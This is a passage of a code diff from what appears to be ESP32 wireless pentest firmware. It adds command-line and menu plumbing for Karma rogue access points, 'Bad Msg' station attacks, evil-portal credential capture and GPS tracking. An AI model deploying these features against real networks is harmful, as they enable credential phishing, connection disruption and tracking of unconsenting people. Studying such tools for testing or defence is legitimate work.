createFile(file_name, is_pcap);
|
||||
createFile(file_name, is_pcap, is_gpx);
|
||||
}
|
||||
if (this->fs || this->serial) {
|
||||
open(is_pcap);
|
||||
@@ -74,6 +80,10 @@ void Buffer::logOpen(String file_name, fs::FS* fs, bool serial) {
|
||||
openFile(file_name, fs, serial, false);
|
||||
}
|
||||
|
||||
void Buffer::gpxOpen(String file_name, fs::FS* fs, bool serial) {
|
||||
openFile(file_name, fs, serial, false, true);
|
||||
}
|
||||
|
||||
void Buffer::add(const uint8_t* buf, uint32_t len, bool is_pcap){
|
||||
// buffer is full -> drop packet
|
||||
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
|
||||
|
||||
@@ -21,13 +21,14 @@ class Buffer {
|
||||
Buffer();
|
||||
void pcapOpen(String file_name, fs::FS* fs, bool serial);
|
||||
void logOpen(String file_name, fs::FS* fs, bool serial);
|
||||
void gpxOpen(String file_name, fs::FS* fs, bool serial);
|
||||
void append(wifi_promiscuous_pkt_t *packet, int len);
|
||||
void append(String log);
|
||||
void save();
|
||||
private:
|
||||
void createFile(String name, bool is_pcap);
|
||||
void createFile(String name, bool is_pcap, bool is_gpx = false);
|
||||
void open(bool is_pcap);
|
||||
void openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap);
|
||||
void openFile(String file_name, fs::FS* fs, bool serial, bool is_pcap, bool is_gpx = false);
|
||||
void add(const uint8_t* buf, uint32_t len, bool is_pcap);
|
||||
void write(int32_t n);
|
||||
void write(uint32_t n);
|
||||
|
||||
@@ -220,6 +220,7 @@ void CommandLine::runCommand(String input) {
|
||||
|
||||
// WiFi sniff/scan
|
||||
Serial.println(HELP_EVIL_PORTAL_CMD);
|
||||
Serial.println(HELP_KARMA_CMD);
|
||||
Serial.println(HELP_PACKET_COUNT_CMD);
|
||||
Serial.println(HELP_PING_CMD);
|
||||
Serial.println(HELP_PORT_SCAN_CMD);
|
||||
@@ -251,6 +252,7 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_LIST_AP_CMD_C);
|
||||
Serial.println(HELP_LIST_AP_CMD_D);
|
||||
Serial.println(HELP_LIST_AP_CMD_E);
|
||||
Serial.println(HELP_LIST_AP_CMD_F);
|
||||
Serial.println(HELP_SEL_CMD_A);
|
||||
Serial.println(HELP_SSID_CMD_A);
|
||||
Serial.println(HELP_SSID_CMD_B);
|
||||
@@ -327,6 +329,7 @@ void CommandLine::runCommand(String input) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
int get_arg = this->argSearch(&cmd_args, "-g");
|
||||
int track_arg = this->argSearch(&cmd_args, "-t");
|
||||
int nmea_arg = this->argSearch(&cmd_args, "-n");
|
||||
|
||||
if (get_arg != -1) {
|
||||
@@ -383,6 +386,13 @@ void CommandLine::runCommand(String input) {
|
||||
else
|
||||
Serial.println("You did not provide a valid argument");
|
||||
}
|
||||
else if (track_arg != -1) {
|
||||
wifi_scan_obj.currentScanMode = GPS_TRACKER;
|
||||
#ifdef HAS_SCREEN
|
||||
menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(GPS_TRACKER, TFT_CYAN);
|
||||
}
|
||||
else if(cmd_args.size()>1)
|
||||
Serial.println("You did not provide a valid flag");
|
||||
else
|
||||
@@ -575,6 +585,37 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println("GPS not supported");
|
||||
#endif
|
||||
}
|
||||
// Karma
|
||||
else if (cmd_args.get(0) == KARMA_CMD) {
|
||||
int pr_sw = this->argSearch(&cmd_args, "-p");
|
||||
|
||||
if (pr_sw == -1) {
|
||||
Serial.println("You did not provide a target index");
|
||||
return;
|
||||
}
|
||||
|
||||
int pr_index = cmd_args.get(pr_sw + 1).toInt();
|
||||
|
||||
if ((pr_index < 0) || (pr_index > probe_req_ssids->size() - 1)) {
|
||||
Serial.println("The provided index was not in range");
|
||||
return;
|
||||
}
|
||||
|
||||
if (evil_portal_obj.setAP(probe_req_ssids->get(pr_index).essid)) {
|
||||
Serial.println("Starting Karma Attack with " + probe_req_ssids->get(pr_index).essid + ". Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_ORANGE);
|
||||
wifi_scan_obj.setMac();
|
||||
}
|
||||
else {
|
||||
Serial.println("Unable to set AP ESSID");
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
// AP Scan
|
||||
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
|
||||
int cmd_sw = this->argSearch(&cmd_args, "-c");
|
||||
@@ -615,7 +656,15 @@ void CommandLine::runCommand(String input) {
|
||||
evil_portal_obj.setHtmlFromSerial();
|
||||
}
|
||||
else if (et_command == "setap") {
|
||||
int target_ap_index = cmd_args.get(cmd_sw + 2).toInt();
|
||||
if ((target_ap_index >= 0) && (target_ap_index < access_points->size())) {
|
||||
evil_portal_obj.setAP(access_points->get(target_ap_index).essid);
|
||||
AccessPoint new_ap = access_points->get(target_ap_index);
|
||||
new_ap.selected = true;
|
||||
access_points->set(target_ap_index, new_ap);
|
||||
|
||||
evil_portal_obj.ap_index = target_ap_index;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -824,6 +873,27 @@ void CommandLine::runCommand(String input) {
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_MANUAL, TFT_RED);
|
||||
}
|
||||
}
|
||||
// Bad Msg
|
||||
else if (attack_type == ATTACK_TYPE_BM) {
|
||||
// Attack all
|
||||
if (targ_sw == -1) {
|
||||
Serial.println("Starting Bad Msg attack against all stations. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_BAD_MSG, TFT_RED);
|
||||
}
|
||||
// Target clients
|
||||
else {
|
||||
Serial.println("Starting targeted Bad Msg attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_BAD_MSG_TARGETED, TFT_YELLOW);
|
||||
}
|
||||
}
|
||||
// Beacon
|
||||
else if (attack_type == ATTACK_TYPE_BEACON) {
|
||||
// spam by list
|
||||
@@ -1045,54 +1115,6 @@ void CommandLine::runCommand(String input) {
|
||||
}
|
||||
}
|
||||
}
|
||||
/*else if (cmd_args.get(0) == BT_SOUR_APPLE_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Sour Apple attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == BT_SWIFTPAIR_SPAM_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Swiftpair Spam attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SWIFTPAIR_SPAM, TFT_CYAN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == BT_SAMSUNG_SPAM_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting Samsung Spam attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SAMSUNG_SPAM, TFT_CYAN);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}
|
||||
else if (cmd_args.get(0) == BT_SPAM_ALL_CMD) {
|
||||
#ifdef HAS_BT
|
||||
Serial.println("Starting BT Spam All attack. Stop with " + (String)STOPSCAN_CMD);
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(BT_ATTACK_SPAM_ALL, TFT_MAGENTA);
|
||||
#else
|
||||
Serial.println("Bluetooth not supported");
|
||||
#endif
|
||||
}*/
|
||||
// Wardrive
|
||||
else if (cmd_args.get(0) == BT_WARDRIVE_CMD) {
|
||||
#ifdef HAS_BT
|
||||
@@ -1227,6 +1249,7 @@ void CommandLine::runCommand(String input) {
|
||||
int cl_sw = this->argSearch(&cmd_args, "-c");
|
||||
int at_sw = this->argSearch(&cmd_args, "-t");
|
||||
int ip_sw = this->argSearch(&cmd_args, "-i");
|
||||
int pr_sw = this->argSearch(&cmd_args, "-p");
|
||||
|
||||
// List APs
|
||||
if (ap_sw != -1) {
|
||||
@@ -1246,6 +1269,12 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println("[" + (String)i + "] " + ipList->get(i).toString());
|
||||
}
|
||||
}
|
||||
// List Probes
|
||||
else if (pr_sw != -1) {
|
||||
for (int i = 0; i < probe_req_ssids->size(); i++) {
|
||||
Serial.println("[" + (String)i + "] " + probe_req_ssids->get(i).essid);
|
||||
}
|
||||
}
|
||||
// List SSIDs
|
||||
else if (ss_sw != -1) {
|
||||
for (int i = 0; i < ssids->size(); i++) {
|
||||
|
||||
@@ -35,6 +35,7 @@ extern LinkedList<AirTag>* airtags;
|
||||
extern LinkedList<ssid>* ssids;
|
||||
extern LinkedList<Station>* stations;
|
||||
extern LinkedList<IPAddress>* ipList;
|
||||
extern LinkedList<ProbeReqSsid>* probe_req_ssids;
|
||||
extern const String PROGMEM version_number;
|
||||
extern const String PROGMEM board_target;
|
||||
|
||||
@@ -55,6 +56,7 @@ const char PROGMEM NMEA_CMD[] = "nmea";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
|
||||
const char PROGMEM KARMA_CMD[] = "karma";
|
||||
const char PROGMEM PACKET_COUNT_CMD[] = "packetcount";
|
||||
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
|
||||
const char PROGMEM SCAN_ALL_CMD[] = "scanall";
|
||||
@@ -80,6 +82,7 @@ const char PROGMEM ATTACK_TYPE_DEAUTH[] = "deauth";
|
||||
const char PROGMEM ATTACK_TYPE_BEACON[] = "beacon";
|
||||
const char PROGMEM ATTACK_TYPE_PROBE[] = "probe";
|
||||
const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
|
||||
const char PROGMEM ATTACK_TYPE_BM[] = "badmsg";
|
||||
|
||||
// WiFi Aux
|
||||
const char PROGMEM LIST_AP_CMD[] = "list";
|
||||
@@ -118,6 +121,7 @@ const char PROGMEM HELP_NMEA_CMD[] = "nmea";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start [-w html.html]/sethtml <html.html>]";
|
||||
const char PROGMEM HELP_KARMA_CMD[] = "karma -p <index>";
|
||||
const char PROGMEM HELP_PACKET_COUNT_CMD[] = "packetcount";
|
||||
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
|
||||
const char PROGMEM HELP_SCAN_ALL_CMD[] = "scanall";
|
||||
@@ -138,7 +142,7 @@ const char PROGMEM HELP_PING_CMD[] = "pingscan";
|
||||
const char PROGMEM HELP_PORT_SCAN_CMD[] = "portscan [-a] -t <ip index>";
|
||||
|
||||
// WiFi attack
|
||||
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
|
||||
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll/badmsg [-c]>";
|
||||
|
||||
// WiFi Aux
|
||||
const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
|
||||
@@ -146,6 +150,7 @@ const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_D[] = "list -t";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_E[] = "list -i";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_F[] = "list -p";
|
||||
const char PROGMEM HELP_INFO_CMD[] = "info [-a <index>]";
|
||||
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\"";
|
||||
const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
|
||||
|
||||
@@ -28,6 +28,8 @@ void EvilPortal::setup() {
|
||||
}
|
||||
|
||||
void EvilPortal::cleanup() {
|
||||
this->ap_index = -1;
|
||||
|
||||
#ifdef HAS_PSRAM
|
||||
free(index_html);
|
||||
index_html = nullptr;
|
||||
@@ -35,8 +37,10 @@ void EvilPortal::cleanup() {
|
||||
}
|
||||
|
||||
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
||||
if (!this->setAP(ssids, access_points))
|
||||
return false;
|
||||
if (!this->has_ap) {
|
||||
if (!this->setAP(ssids, access_points))
|
||||
return false;
|
||||
}
|
||||
if (!this->setHtml())
|
||||
return false;
|
||||
|
||||
@@ -191,11 +195,13 @@ bool EvilPortal::setHtml() {
|
||||
|
||||
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
||||
// See if there are selected APs first
|
||||
int targ_ap_index = -1;
|
||||
String ap_config = "";
|
||||
String temp_ap_name = "";
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
temp_ap_name = access_points->get(i).essid;
|
||||
targ_ap_index = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -293,6 +299,7 @@ bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_
|
||||
strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
|
||||
this->has_ap = true;
|
||||
Serial.println("ap config set");
|
||||
this->ap_index = targ_ap_index;
|
||||
return true;
|
||||
}
|
||||
else
|
||||
@@ -300,6 +307,20 @@ bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_
|
||||
|
||||
}
|
||||
|
||||
bool EvilPortal::setAP(String essid) {
|
||||
if (essid == "")
|
||||
return false;
|
||||
|
||||
if (essid.length() > MAX_AP_NAME_SIZE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
strncpy(apName, essid.c_str(), MAX_AP_NAME_SIZE);
|
||||
this->has_ap = true;
|
||||
Serial.println("ap config set");
|
||||
return true;
|
||||
}
|
||||
|
||||
void EvilPortal::startAP() {
|
||||
const IPAddress AP_IP(172, 0, 0, 1);
|
||||
|
||||
|
||||
@@ -89,7 +89,6 @@ class EvilPortal {
|
||||
String password;
|
||||
|
||||
bool has_html;
|
||||
bool has_ap;
|
||||
|
||||
DNSServer dnsServer;
|
||||
|
||||
@@ -105,16 +104,20 @@ class EvilPortal {
|
||||
public:
|
||||
EvilPortal();
|
||||
|
||||
int ap_index = -1;
|
||||
|
||||
String target_html_name = "index.html";
|
||||
uint8_t selected_html_index = 0;
|
||||
|
||||
bool using_serial_html;
|
||||
bool has_ap;
|
||||
|
||||
LinkedList<String>* html_files;
|
||||
|
||||
void cleanup();
|
||||
String get_user_name();
|
||||
String get_password();
|
||||
bool setAP(String essid);
|
||||
void setup();
|
||||
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
|
||||
void main(uint8_t scan_mode);
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
#include "LedInterface.h"
|
||||
|
||||
|
||||
LedInterface::LedInterface() {
|
||||
|
||||
}
|
||||
|
||||
@@ -6,7 +6,9 @@
|
||||
#include "configs.h"
|
||||
#include "settings.h"
|
||||
#include <Arduino.h>
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
#ifdef HAS_NEOPIXEL_LED
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
#endif
|
||||
|
||||
#define Pixels 1
|
||||
|
||||
@@ -17,7 +19,10 @@
|
||||
#define MODE_CUSTOM 4
|
||||
|
||||
extern Settings settings_obj;
|
||||
extern Adafruit_NeoPixel strip;
|
||||
|
||||
#ifdef HAS_NEOPIXEL_LED
|
||||
extern Adafruit_NeoPixel strip;
|
||||
#endif
|
||||
|
||||
class LedInterface {
|
||||
|
||||
|
||||
@@ -772,6 +772,7 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode == ESP_UPDATE) ||
|
||||
(wifi_scan_obj.currentScanMode == SHOW_INFO) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_GPS_DATA) ||
|
||||
(wifi_scan_obj.currentScanMode == GPS_TRACKER) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_GPS_NMEA)) {
|
||||
if (wifi_scan_obj.orient_display) {
|
||||
this->orientDisplay();
|
||||
@@ -812,6 +813,8 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BAD_MSG_TARGETED) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BAD_MSG) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
|
||||
display_obj.displayBuffer();
|
||||
@@ -834,6 +837,7 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
|
||||
(wifi_scan_obj.currentScanMode != SHOW_INFO) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_DATA) &&
|
||||
(wifi_scan_obj.currentScanMode != GPS_TRACKER) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_NMEA))
|
||||
{
|
||||
// Stop the current scan
|
||||
@@ -860,6 +864,8 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BAD_MSG_TARGETED) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BAD_MSG) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||
@@ -909,6 +915,7 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
|
||||
(wifi_scan_obj.currentScanMode != SHOW_INFO) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_DATA) &&
|
||||
(wifi_scan_obj.currentScanMode != GPS_TRACKER) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_NMEA))
|
||||
{
|
||||
// Stop the current scan
|
||||
@@ -937,6 +944,8 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BAD_MSG_TARGETED) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BAD_MSG) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
|
||||
@@ -991,6 +1000,8 @@ void MenuFunctions::main(uint32_t currentTime)
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BAD_MSG_TARGETED) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BAD_MSG) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_SCAN_PACKET_RATE) &&
|
||||
(wifi_scan_obj.currentScanMode != WIFI_SCAN_RAW_CAPTURE) &&
|
||||
@@ -1540,7 +1551,7 @@ void MenuFunctions::updateStatusBar()
|
||||
}
|
||||
|
||||
// Force PMKID stuff
|
||||
if (wifi_scan_obj.force_pmkid) {
|
||||
if ((wifi_scan_obj.force_pmkid) || (wifi_scan_obj.ep_deauth)) {
|
||||
#ifdef HAS_FULL_SCREEN
|
||||
display_obj.tft.drawXBitmap(170 - (16 * 2),
|
||||
0,
|
||||
@@ -1732,7 +1743,7 @@ void MenuFunctions::drawStatusBar()
|
||||
}
|
||||
|
||||
// Force PMKID stuff
|
||||
if (wifi_scan_obj.force_pmkid) {
|
||||
if ((wifi_scan_obj.force_pmkid) || (wifi_scan_obj.ep_deauth)) {
|
||||
#ifdef HAS_FULL_SCREEN
|
||||
display_obj.tft.drawXBitmap(170 - (16 * 2),
|
||||
0,
|
||||
@@ -1932,6 +1943,9 @@ void MenuFunctions::RunSetup()
|
||||
saveATsMenu.list = new LinkedList<MenuNode>();
|
||||
loadATsMenu.list = new LinkedList<MenuNode>();
|
||||
|
||||
evilPortalMenu.list = new LinkedList<MenuNode>();
|
||||
ssidsMenu.list = new LinkedList<MenuNode>();
|
||||
|
||||
// Work menu names
|
||||
mainMenu.name = text_table1[6];
|
||||
wifiMenu.name = text_table1[7];
|
||||
@@ -1985,6 +1999,9 @@ void MenuFunctions::RunSetup()
|
||||
sdDeleteMenu.name = "Delete SD Files";
|
||||
// #endif
|
||||
#endif
|
||||
selectProbeSSIDsMenu.name = "Probe Requests";
|
||||
evilPortalMenu.name = "Evil Portal";
|
||||
ssidsMenu.name = "SSIDs";
|
||||
|
||||
// Build Main Menu
|
||||
mainMenu.parentMenu = NULL;
|
||||
@@ -2212,11 +2229,62 @@ void MenuFunctions::RunSetup()
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
|
||||
});
|
||||
this->addNodes(&wifiAttackMenu, "Evil Portal", TFTORANGE, NULL, BEACON_SNIFF, [this]() {
|
||||
/*this->addNodes(&wifiAttackMenu, "Evil Portal", TFTORANGE, NULL, BEACON_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_ORANGE);
|
||||
wifi_scan_obj.setMac();
|
||||
});*/
|
||||
this->addNodes(&wifiAttackMenu, "Evil Portal", TFTORANGE, NULL, BEACON_SNIFF, [this]() {
|
||||
|
||||
wifiAPMenu.list->clear();
|
||||
ssidsMenu.list->clear();
|
||||
|
||||
wifiAPMenu.parentMenu = &evilPortalMenu;
|
||||
ssidsMenu.parentMenu = &evilPortalMenu;
|
||||
|
||||
this->addNodes(&wifiAPMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
this->changeMenu(wifiAPMenu.parentMenu);
|
||||
});
|
||||
this->addNodes(&ssidsMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
this->changeMenu(ssidsMenu.parentMenu);
|
||||
});
|
||||
|
||||
// Get AP list ready
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
// This is the menu node
|
||||
this->addNodes(&wifiAPMenu, access_points->get(i).essid, TFTCYAN, NULL, 255, [this, i](){
|
||||
if (evil_portal_obj.setAP(access_points->get(i).essid)) {
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = true;
|
||||
access_points->set(i, new_ap);
|
||||
|
||||
evil_portal_obj.ap_index = i;
|
||||
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_ORANGE);
|
||||
wifi_scan_obj.setMac();
|
||||
}
|
||||
else
|
||||
this->changeMenu(&evilPortalMenu);
|
||||
});
|
||||
}
|
||||
|
||||
for (int i = 0; i < ssids->size(); i++) {
|
||||
// This is the menu node
|
||||
this->addNodes(&ssidsMenu, ssids->get(i).essid, TFTCYAN, NULL, 255, [this, i](){
|
||||
if (evil_portal_obj.setAP(ssids->get(i).essid)) {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_ORANGE);
|
||||
wifi_scan_obj.setMac();
|
||||
}
|
||||
else
|
||||
this->changeMenu(&evilPortalMenu);
|
||||
});
|
||||
}
|
||||
this->changeMenu(&evilPortalMenu);
|
||||
});
|
||||
this->addNodes(&wifiAttackMenu, text_table1[54], TFTRED, NULL, DEAUTH_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
@@ -2234,6 +2302,52 @@ void MenuFunctions::RunSetup()
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
|
||||
});
|
||||
|
||||
this->addNodes(&wifiAttackMenu, "Karma", TFTORANGE, NULL, KEYBOARD_ICO, [this](){
|
||||
// Add the back button
|
||||
selectProbeSSIDsMenu.list->clear();
|
||||
this->addNodes(&selectProbeSSIDsMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
this->changeMenu(&wifiAttackMenu);
|
||||
});
|
||||
|
||||
// Populate the menu with buttons
|
||||
for (int i = 0; i < probe_req_ssids->size(); i++) {
|
||||
// This is the menu node
|
||||
this->addNodes(&selectProbeSSIDsMenu, probe_req_ssids->get(i).essid, TFTCYAN, NULL, 255, [this, i](){
|
||||
if (evil_portal_obj.setAP(probe_req_ssids->get(i).essid)) {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_ORANGE);
|
||||
wifi_scan_obj.setMac();
|
||||
}
|
||||
else
|
||||
this->changeMenu(&wifiAttackMenu);
|
||||
});
|
||||
}
|
||||
this->changeMenu(&selectProbeSSIDsMenu);
|
||||
});
|
||||
|
||||
this->addNodes(&wifiAttackMenu, "Bad Msg", TFTRED, NULL, DEAUTH_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_BAD_MSG, TFT_RED);
|
||||
});
|
||||
this->addNodes(&wifiAttackMenu, "Bad Msg Targeted", TFTYELLOW, NULL, DEAUTH_SNIFF, [this]() {
|
||||
display_obj.clearScreen();
|
||||
this->drawStatusBar();
|
||||
wifi_scan_obj.StartScan(WIFI_ATTACK_BAD_MSG_TARGETED, TFT_YELLOW);
|
||||
});
|
||||
|
||||
evilPortalMenu.parentMenu = &wifiAttackMenu;
|
||||
this->addNodes(&evilPortalMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
this->changeMenu(evilPortalMenu.parentMenu);
|
||||
});
|
||||
this->addNodes(&evilPortalMenu, "Access Points", TFTGREEN, NULL, BEACON_SNIFF, [this]() {
|
||||
this->changeMenu(&wifiAPMenu);
|
||||
});
|
||||
this->addNodes(&evilPortalMenu, "User SSIDs", TFTCYAN, NULL, PROBE_SNIFF, [this]() {
|
||||
this->changeMenu(&ssidsMenu);
|
||||
});
|
||||
|
||||
// Build WiFi General menu
|
||||
wifiGeneralMenu.parentMenu = &wifiMenu;
|
||||
this->addNodes(&wifiGeneralMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
@@ -2246,62 +2360,62 @@ void MenuFunctions::RunSetup()
|
||||
|
||||
//Add Select probe ssid
|
||||
this->addNodes(&wifiGeneralMenu, text_table1[65], TFTCYAN, NULL, KEYBOARD_ICO, [this]() {
|
||||
selectProbeSSIDsMenu.list->clear();
|
||||
